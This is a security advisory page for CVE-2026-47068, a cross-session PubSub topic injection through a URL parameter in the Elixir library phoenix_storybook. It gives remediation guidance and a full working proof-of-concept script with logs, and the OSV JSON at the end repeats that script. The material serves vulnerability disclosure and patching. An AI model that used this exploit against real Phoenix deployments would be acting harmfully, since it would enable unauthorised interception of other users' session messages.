CVE-2026-47068: Phoenix storybook PhoenixStorybook Has Cross-session PubSub Topic Vulnerability
LOW
Advisory Identifier:
GHSA-mrhx-6pw9-q5fh
CWE-639
Published
Advisory Summary
CVE-2026-47068 is a LOW phoenixstorybook has cross-session pubsub topic vulnerability (CWE-639: Authorization Bypass Through User-Controlled Key) affecting Phoenix storybook libraries in the Hex ecosystem. The issue involves phoenixstorybook has cross-session pubsub topic injection via url parameter. Remediation is available by upgrading affected packages to version 1.1.0.
CVE-2026-47068 at a Glance
CVE Identifier
CVE-2026-47068
GHSA Identifier
GHSA-mrhx-6pw9-q5fh
Severity
LOW
CVSS v3.1 Base Score
N/A
CWE Classification
CWE-639: Authorization Bypass Through User-Controlled Key
Affected Product
Phoenix storybook
Package Ecosystem
Hex
Published Date
Last Updated
How to Fix CVE-2026-47068
To remediate this vulnerability, upgrade all affected Phoenix storybook dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
phoenix_storybook
fixed: 1.1.0
Upgrade phoenix_storybook to 1.1.0
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for phoenix_storybookHow to Check if You Are Affected
To determine whether your application is affected by CVE-2026-47068, inspect your project dependencies for Phoenix storybook:
inspect dependencies for phoenix_storybookAnalyze the terminal output to locate any version of Phoenix storybook in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.1.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-639: Authorization Bypass Through User-Controlled Key, where the system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. In Phoenix storybook, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
### Summary
The storybook iframe LiveView accepts a PubSub topic from the URL query string and broadcasts its own pid onto that topic with no check that the topic belongs to the current session. Any unauthenticated visitor who knows or guesses another user's playground topic can hijack the playground↔iframe handshake, causing the victim's playground to send its control messages to an attacker-controlled iframe process — a cross-session information leak.
Likely introduced in https://github.com/phenixdigital/phoenix_storybook/commit/8c2c97b0f505780fee4069988bf86736f51d35d7
### Details
`PhoenixStorybook.Story.ComponentIframeLive.handle_params/3` (lib/phoenix_storybook/live/story/component_iframe_live.ex:24-30) takes the topic straight from `params["topic"]` and broadcasts on it:
```elixir
if topic = params["topic"] do
Phoenix.PubSub.broadcast!(
PhoenixStorybook.PubSub, topic, {:component_iframe_pid, self()}
)
end
```
The shared `PhoenixStorybook.PubSub` is used to coordinate playground LiveViews with their iframes: a playground subscribes to a topic, learns the iframe's pid from the `{:component_iframe_pid, _}` message, and then uses `send/2` to deliver subsequent state and control messages (variation state, theme switches, extra-assign payloads, etc.) directly to that pid.
Because the iframe trusts the query parameter, an attacker who loads `/storybook/iframe/<story>?topic=<victim_topic>` in their own browser causes their iframe process's pid to be announced on the victim's private topic. The victim's playground then addresses its private messages to the attacker's iframe, where they arrive in `handle_info/2`. There is no authentication, ownership check, or binding between the topic and the requesting session.
The fix is to stop accepting the topic from the query string — derive it server-side from the LiveView session (or pass the playground pid via a signed session) and refuse to broadcast on any topic the current session does not own. Alternatively, nest the iframe LiveView under the playground so its pid is known directly and the broadcast-based discovery is removed.
### PoC
The attached script reproduces the leak end-to-end against a real Phoenix endpoint mounting the library's own router via `live_storybook("/storybook", backend_module: MyStorybook)`. The threat model is an outside attacker who can reach the storybook iframe URL; the only entry point used is a plain HTTP `GET /storybook/iframe/<story>?topic=<victim_topic>`, which mounts `ComponentIframeLive` and triggers the vulnerable `handle_params/3` call site shown above.
To simulate a legitimate playground, the script spawns a "victim" process that calls `Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic)` with a freshly generated secret topic. The attacker session — completely separate, with no shared cookies or auth — then issues a single `Req.get!` to the iframe URL with `?topic=<victim_topic>` URL-encoded onto the query string. Inside the iframe LiveView, `params["topic"]` is the attacker-supplied value, and `Phoenix.PubSub.broadcast!/3` delivers `{:component_iframe_pid, self()}` to the victim's subscription. No authentication or token is needed; the only precondition is knowing (or guessing) the victim's topic.
The victim process pattern-matches on `{:component_iframe_pid, attacker_iframe_pid}` and forwards it to the test harness. The script prints `VERIFIED: attacker-controlled "?topic=" query param caused PubSub broadcast onto victim's private topic` along with the leaked pid when the cross-session message arrives, and `NOT VERIFIED` if nothing arrives within the timeout. The full script is attached below under "Scripts and Logs".
### Impact
Cross-session information disclosure and message injection in any application that exposes `phoenix_storybook` over an HTTP boundary. Any unauthenticated user who can reach the iframe route and learn or guess a playground's topic can redirect the playground's private control messages — variation state, theme changes, and any developer-wired extra assigns — to an iframe process they control. There is no auth check on the broadcast, so the only precondition is reachability of the iframe URL plus knowledge of a target topic.
## Scripts and Logs
```elixir
# Verifies: Cross-session PubSub topic injection via URL parameter
#
# Run: elixir cross_session_pubsub_topic_injection_via_url_parameter_1352.exs
#
# Threat model: an outside attacker who can browse the storybook iframe URL.
# They open `/storybook/iframe/<story>?topic=<victim_topic>` in their own
# browser. The iframe LiveView's handle_params broadcasts
# `{:component_iframe_pid, self()}` on whatever topic the attacker put in the
# query string. A victim's playground that subscribed to `victim_topic`
# (legitimately, for its own iframe) receives the attacker's iframe pid and
# will subsequently address its private control messages to that pid.
#
# This PoC stands up a real Phoenix endpoint + the library's own router, has a
# "victim" process Phoenix.PubSub.subscribe to a secret topic, then makes a
# plain HTTP GET to the iframe URL with `?topic=<secret>` from an attacker
# session. If the victim receives the iframe pid, the topic was successfully
# hijacked.
Mix.install([
{:phoenix_storybook, "1.0.0"},
{:phoenix_live_view, "~> 1.0"},
{:bandit, "~> 1.5"},
{:req, "~> 0.5"},
{:jason, "~> 1.4"}
])
# ----- 1. Minimum on-disk story so the iframe LV actually mounts. -----
tmp = Path.join(System.tmp_dir!(), "psb_poc_#{System.unique_integer([:positive])}")
File.mkdir_p!(tmp)
File.write!(Path.join(tmp, "demo.story.exs"), """
defmodule Storybook.Demo do
use PhoenixStorybook.Story, :component
def function, do: &Phoenix.Component.link/1
def variations do
[%Variation{id: :default, attributes: %{navigate: "/x"}, slots: ["hi"]}]
end
end
""")
# ----- 2. Storybook backend + Phoenix endpoint/router. -----
expanded_content_path = Path.expand(tmp)
Module.create(
MyStorybook,
quote do
use PhoenixStorybook, otp_app: :psb_poc, content_path: unquote(expanded_content_path)
end,
Macro.Env.location(__ENV__)
)
defmodule MyRouter do
use Phoenix.Router
import Phoenix.LiveView.Router
import PhoenixStorybook.Router
scope "/" do
live_storybook("/storybook", backend_module: MyStorybook)
end
end
poc_port = Enum.random(20_000..30_000)
Application.put_env(:psb_poc, MyEndpoint,
http: [ip: {127, 0, 0, 1}, port: poc_port],
server: true,
secret_key_base: String.duplicate("a", 64),
live_view: [signing_salt: "12345678"],
pubsub_server: PhoenixStorybook.PubSub,
adapter: Bandit.PhoenixAdapter,
check_origin: false
)
defmodule MyEndpoint do
use Phoenix.Endpoint, otp_app: :psb_poc
@session_options [
store: :cookie,
key: "_psb_poc_key",
signing_salt: "12345678",
same_site: "Lax"
]
socket "/live", Phoenix.LiveView.Socket, websocket: true
plug Plug.Session, @session_options
plug :fetch_query_params_plug
plug MyRouter
def fetch_query_params_plug(conn, _opts), do: Plug.Conn.fetch_query_params(conn)
end
# ----- 3. Boot endpoint (PhoenixStorybook.PubSub is started by the lib app). -----
{:ok, _} = MyEndpoint.start_link()
base = "http://127.0.0.1:#{poc_port}"
# ----- 4. Victim subscribes to its private playground topic. -----
victim_topic = "playground-secret-#{:erlang.unique_integer([:positive])}"
victim = self()
# A separate process plays the role of the victim's playground LV. It
# subscribes to its own topic — exactly what PlaygroundLive does when the
# legitimate user opens their playground page.
victim_pid =
spawn_link(fn ->
:ok = Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic)
send(victim, :victim_ready)
receive do
{:component_iframe_pid, attacker_iframe_pid} ->
send(victim, {:victim_got, attacker_iframe_pid})
after
5_000 -> send(victim, :victim_timeout)
end
end)
receive do
:victim_ready -> :ok
after
2_000 -> raise "victim subscribe timed out"
end
# ----- 5. Attacker, in a completely unrelated session, hits the iframe URL
# with ?topic=<victim's secret topic>. -----
attacker_url =
base <>
"/storybook/iframe/demo?topic=" <> URI.encode_www_form(victim_topic)
_resp = Req.get!(attacker_url, retry: false)
# ----- 6. Observe the cross-session leak. -----
outcome =
receive do
{:victim_got, leaked_pid} -> {:leaked, leaked_pid}
:victim_timeout -> :no_leak
after
6_000 -> :no_leak
end
# ----- 7. Tear down. -----
:ok = Supervisor.stop(MyEndpoint, :normal)
File.rm_rf!(tmp)
if Process.alive?(victim_pid), do: Process.exit(victim_pid, :kill)
case outcome do
{:leaked, pid} ->
IO.puts("Victim received iframe pid: #{inspect(pid)}")
IO.puts("Victim's topic was: #{victim_topic} (never shared with attacker session)")
IO.puts("Attacker only needed to know/guess that topic to hijack the pid handshake.")
IO.puts("VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic")
:no_leak ->
IO.puts("NOT VERIFIED: no cross-session message observed within timeout")
end
```
### Logs
```logs
11:56:17.598 [warning] Can't resolve priv dir for application psb_poc
11:56:17.750 [info] Running MyEndpoint with Bandit 1.11.1 at 127.0.0.1:26466 (http)
11:56:17.750 [info] Access MyEndpoint at http://localhost:26466
11:56:17.790 [debug] Processing with PhoenixStorybook.Story.ComponentIframeLive.__live__/0
Parameters: %{"story" => ["demo"], "topic" => "playground-secret-8"}
Pipelines: [:storybook_browser]
Victim received iframe pid: #PID<0.598.0>
Victim's topic was: playground-secret-8 (never shared with attacker session)
Attacker only needed to know/guess that topic to hijack the pid handshake.
VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic
```
CVE-2026-47068 Affected Phoenix storybook Versions
1 component(s)
Fixed Versions:
1.1.0
| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
phoenix_storybook
|
Hex |
≥ 0.4.0
< 1.1.0
|
1.1.0
|
References
GitHub Advisory / Wiki
ADVISORY
https://github.com/phenixdigital/phoenix_storybook/security/advisories/GHSA-mrhx-6pw9-q5fh
NVD — CVE-2026-47068
NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-47068
Security Fix Commit
FIX COMMIT
https://github.com/phenixdigital/phoenix_storybook/commit/6ee03f1c738d4436dde1b066cf65c80663d489f5
cna.erlef.org/cves/cve-2026-47068...
WEB
https://cna.erlef.org/cves/CVE-2026-47068.html
Phoenix storybook Source Repository
REPOSITORY
https://github.com/phenixdigital/phoenix_storybook
osv.dev/vulnerability/eef-c...
WEB
https://osv.dev/vulnerability/EEF-CVE-2026-47068
Frequently Asked Questions
What is CVE-2026-47068?
CVE-2026-47068 is a security vulnerability in Phoenix storybook involving PhoenixStorybook has cross-session PubSub topic injection via URL parameter under CWE-639: Authorization Bypass Through User-Controlled Key.
Which Phoenix storybook versions are affected?
Affected versions include releases prior to 1.1.0 across affected packages: phoenix_storybook.
What version fixes CVE-2026-47068?
Upgrading to 1.1.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is phoenix_storybook affected?
Yes, phoenix_storybook is affected in releases prior to 1.1.0. Upgrade your dependency to 1.1.0 or later.
What CWE is associated with CVE-2026-47068?
CVE-2026-47068 is classified under CWE-639: Authorization Bypass Through User-Controlled Key (The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.).
How can I check Hex dependencies for CVE-2026-47068?
Run the dependency tree command: 'inspect dependencies for phoenix_storybook'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-mrhx-6pw9-q5fh",
"modified" : "2026-06-09T21:59:25Z",
"published" : "2026-06-09T21:59:25Z",
"aliases" : [ "CVE-2026-47068" ],
"summary" : "PhoenixStorybook has cross-session PubSub topic injection via URL parameter",
"details" : "### Summary\nThe storybook iframe LiveView accepts a PubSub topic from the URL query string and broadcasts its own pid onto that topic with no check that the topic belongs to the current session. Any unauthenticated visitor who knows or guesses another user's playground topic can hijack the playground↔iframe handshake, causing the victim's playground to send its control messages to an attacker-controlled iframe process — a cross-session information leak.\n\nLikely introduced in https://github.com/phenixdigital/phoenix_storybook/commit/8c2c97b0f505780fee4069988bf86736f51d35d7\n\n### Details\n`PhoenixStorybook.Story.ComponentIframeLive.handle_params/3` (lib/phoenix_storybook/live/story/component_iframe_live.ex:24-30) takes the topic straight from `params[\"topic\"]` and broadcasts on it:\n\n```elixir\nif topic = params[\"topic\"] do\n Phoenix.PubSub.broadcast!(\n PhoenixStorybook.PubSub, topic, {:component_iframe_pid, self()}\n )\nend\n```\n\nThe shared `PhoenixStorybook.PubSub` is used to coordinate playground LiveViews with their iframes: a playground subscribes to a topic, learns the iframe's pid from the `{:component_iframe_pid, _}` message, and then uses `send/2` to deliver subsequent state and control messages (variation state, theme switches, extra-assign payloads, etc.) directly to that pid.\n\nBecause the iframe trusts the query parameter, an attacker who loads `/storybook/iframe/<story>?topic=<victim_topic>` in their own browser causes their iframe process's pid to be announced on the victim's private topic. The victim's playground then addresses its private messages to the attacker's iframe, where they arrive in `handle_info/2`. There is no authentication, ownership check, or binding between the topic and the requesting session.\n\nThe fix is to stop accepting the topic from the query string — derive it server-side from the LiveView session (or pass the playground pid via a signed session) and refuse to broadcast on any topic the current session does not own. Alternatively, nest the iframe LiveView under the playground so its pid is known directly and the broadcast-based discovery is removed.\n\n### PoC\nThe attached script reproduces the leak end-to-end against a real Phoenix endpoint mounting the library's own router via `live_storybook(\"/storybook\", backend_module: MyStorybook)`. The threat model is an outside attacker who can reach the storybook iframe URL; the only entry point used is a plain HTTP `GET /storybook/iframe/<story>?topic=<victim_topic>`, which mounts `ComponentIframeLive` and triggers the vulnerable `handle_params/3` call site shown above.\n\nTo simulate a legitimate playground, the script spawns a \"victim\" process that calls `Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic)` with a freshly generated secret topic. The attacker session — completely separate, with no shared cookies or auth — then issues a single `Req.get!` to the iframe URL with `?topic=<victim_topic>` URL-encoded onto the query string. Inside the iframe LiveView, `params[\"topic\"]` is the attacker-supplied value, and `Phoenix.PubSub.broadcast!/3` delivers `{:component_iframe_pid, self()}` to the victim's subscription. No authentication or token is needed; the only precondition is knowing (or guessing) the victim's topic.\n\nThe victim process pattern-matches on `{:component_iframe_pid, attacker_iframe_pid}` and forwards it to the test harness. The script prints `VERIFIED: attacker-controlled \"?topic=\" query param caused PubSub broadcast onto victim's private topic` along with the leaked pid when the cross-session message arrives, and `NOT VERIFIED` if nothing arrives within the timeout. The full script is attached below under \"Scripts and Logs\".\n\n### Impact\nCross-session information disclosure and message injection in any application that exposes `phoenix_storybook` over an HTTP boundary. Any unauthenticated user who can reach the iframe route and learn or guess a playground's topic can redirect the playground's private control messages — variation state, theme changes, and any developer-wired extra assigns — to an iframe process they control. There is no auth check on the broadcast, so the only precondition is reachability of the iframe URL plus knowledge of a target topic.\n\n## Scripts and Logs\n\n```elixir\n# Verifies: Cross-session PubSub topic injection via URL parameter\n#\n# Run: elixir cross_session_pubsub_topic_injection_via_url_parameter_1352.exs\n#\n# Threat model: an outside attacker who can browse the storybook iframe URL.\n# They open `/storybook/iframe/<story>?topic=<victim_topic>` in their own\n# browser. The iframe LiveView's handle_params broadcasts\n# `{:component_iframe_pid, self()}` on whatever topic the attacker put in the\n# query string. A victim's playground that subscribed to `victim_topic`\n# (legitimately, for its own iframe) receives the attacker's iframe pid and\n# will subsequently address its private control messages to that pid.\n#\n# This PoC stands up a real Phoenix endpoint + the library's own router, has a\n# \"victim\" process Phoenix.PubSub.subscribe to a secret topic, then makes a\n# plain HTTP GET to the iframe URL with `?topic=<secret>` from an attacker\n# session. If the victim receives the iframe pid, the topic was successfully\n# hijacked.\n\nMix.install([\n {:phoenix_storybook, \"1.0.0\"},\n {:phoenix_live_view, \"~> 1.0\"},\n {:bandit, \"~> 1.5\"},\n {:req, \"~> 0.5\"},\n {:jason, \"~> 1.4\"}\n])\n\n# ----- 1. Minimum on-disk story so the iframe LV actually mounts. -----\ntmp = Path.join(System.tmp_dir!(), \"psb_poc_#{System.unique_integer([:positive])}\")\nFile.mkdir_p!(tmp)\n\nFile.write!(Path.join(tmp, \"demo.story.exs\"), \"\"\"\ndefmodule Storybook.Demo do\n use PhoenixStorybook.Story, :component\n def function, do: &Phoenix.Component.link/1\n def variations do\n [%Variation{id: :default, attributes: %{navigate: \"/x\"}, slots: [\"hi\"]}]\n end\nend\n\"\"\")\n\n# ----- 2. Storybook backend + Phoenix endpoint/router. -----\nexpanded_content_path = Path.expand(tmp)\n\nModule.create(\n MyStorybook,\n quote do\n use PhoenixStorybook, otp_app: :psb_poc, content_path: unquote(expanded_content_path)\n end,\n Macro.Env.location(__ENV__)\n)\n\ndefmodule MyRouter do\n use Phoenix.Router\n import Phoenix.LiveView.Router\n import PhoenixStorybook.Router\n\n scope \"/\" do\n live_storybook(\"/storybook\", backend_module: MyStorybook)\n end\nend\n\npoc_port = Enum.random(20_000..30_000)\n\nApplication.put_env(:psb_poc, MyEndpoint,\n http: [ip: {127, 0, 0, 1}, port: poc_port],\n server: true,\n secret_key_base: String.duplicate(\"a\", 64),\n live_view: [signing_salt: \"12345678\"],\n pubsub_server: PhoenixStorybook.PubSub,\n adapter: Bandit.PhoenixAdapter,\n check_origin: false\n)\n\ndefmodule MyEndpoint do\n use Phoenix.Endpoint, otp_app: :psb_poc\n\n @session_options [\n store: :cookie,\n key: \"_psb_poc_key\",\n signing_salt: \"12345678\",\n same_site: \"Lax\"\n ]\n\n socket \"/live\", Phoenix.LiveView.Socket, websocket: true\n plug Plug.Session, @session_options\n plug :fetch_query_params_plug\n plug MyRouter\n\n def fetch_query_params_plug(conn, _opts), do: Plug.Conn.fetch_query_params(conn)\nend\n\n# ----- 3. Boot endpoint (PhoenixStorybook.PubSub is started by the lib app). -----\n{:ok, _} = MyEndpoint.start_link()\n\nbase = \"http://127.0.0.1:#{poc_port}\"\n\n# ----- 4. Victim subscribes to its private playground topic. -----\nvictim_topic = \"playground-secret-#{:erlang.unique_integer([:positive])}\"\nvictim = self()\n\n# A separate process plays the role of the victim's playground LV. It\n# subscribes to its own topic — exactly what PlaygroundLive does when the\n# legitimate user opens their playground page.\nvictim_pid =\n spawn_link(fn ->\n :ok = Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic)\n send(victim, :victim_ready)\n\n receive do\n {:component_iframe_pid, attacker_iframe_pid} ->\n send(victim, {:victim_got, attacker_iframe_pid})\n after\n 5_000 -> send(victim, :victim_timeout)\n end\n end)\n\nreceive do\n :victim_ready -> :ok\nafter\n 2_000 -> raise \"victim subscribe timed out\"\nend\n\n# ----- 5. Attacker, in a completely unrelated session, hits the iframe URL\n# with ?topic=<victim's secret topic>. -----\nattacker_url =\n base <>\n \"/storybook/iframe/demo?topic=\" <> URI.encode_www_form(victim_topic)\n\n_resp = Req.get!(attacker_url, retry: false)\n\n# ----- 6. Observe the cross-session leak. -----\noutcome =\n receive do\n {:victim_got, leaked_pid} -> {:leaked, leaked_pid}\n :victim_timeout -> :no_leak\n after\n 6_000 -> :no_leak\n end\n\n# ----- 7. Tear down. -----\n:ok = Supervisor.stop(MyEndpoint, :normal)\nFile.rm_rf!(tmp)\nif Process.alive?(victim_pid), do: Process.exit(victim_pid, :kill)\n\ncase outcome do\n {:leaked, pid} ->\n IO.puts(\"Victim received iframe pid: #{inspect(pid)}\")\n IO.puts(\"Victim's topic was: #{victim_topic} (never shared with attacker session)\")\n IO.puts(\"Attacker only needed to know/guess that topic to hijack the pid handshake.\")\n IO.puts(\"VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic\")\n\n :no_leak ->\n IO.puts(\"NOT VERIFIED: no cross-session message observed within timeout\")\nend\n\n```\n\n### Logs\n\n```logs\n11:56:17.598 [warning] Can't resolve priv dir for application psb_poc\n\n11:56:17.750 [info] Running MyEndpoint with Bandit 1.11.1 at 127.0.0.1:26466 (http)\n\n11:56:17.750 [info] Access MyEndpoint at http://localhost:26466\n\n11:56:17.790 [debug] Processing with PhoenixStorybook.Story.ComponentIframeLive.__live__/0\n Parameters: %{\"story\" => [\"demo\"], \"topic\" => \"playground-secret-8\"}\n Pipelines: [:storybook_browser]\nVictim received iframe pid: #PID<0.598.0>\nVictim's topic was: playground-secret-8 (never shared with attacker session)\nAttacker only needed to know/guess that topic to hijack the pid handshake.\nVERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic\n```",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Hex",
"name" : "phoenix_storybook"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0.4.0"
}, {
"fixed" : "1.1.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/phenixdigital/phoenix_storybook/security/advisories/GHSA-mrhx-6pw9-q5fh"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-47068"
}, {
"type" : "WEB",
"url" : "https://github.com/phenixdigital/phoenix_storybook/commit/6ee03f1c738d4436dde1b066cf65c80663d489f5"
}, {
"type" : "WEB",
"url" : "https://cna.erlef.org/cves/CVE-2026-47068.html"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/phenixdigital/phoenix_storybook"
}, {
"type" : "WEB",
"url" : "https://osv.dev/vulnerability/EEF-CVE-2026-47068"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-639" ],
"severity" : "LOW",
"github_reviewed" : true,
"github_reviewed_at" : "2026-06-09T21:59:25Z",
"nvd_published_at" : "2026-05-20T14:17:01Z"
}
}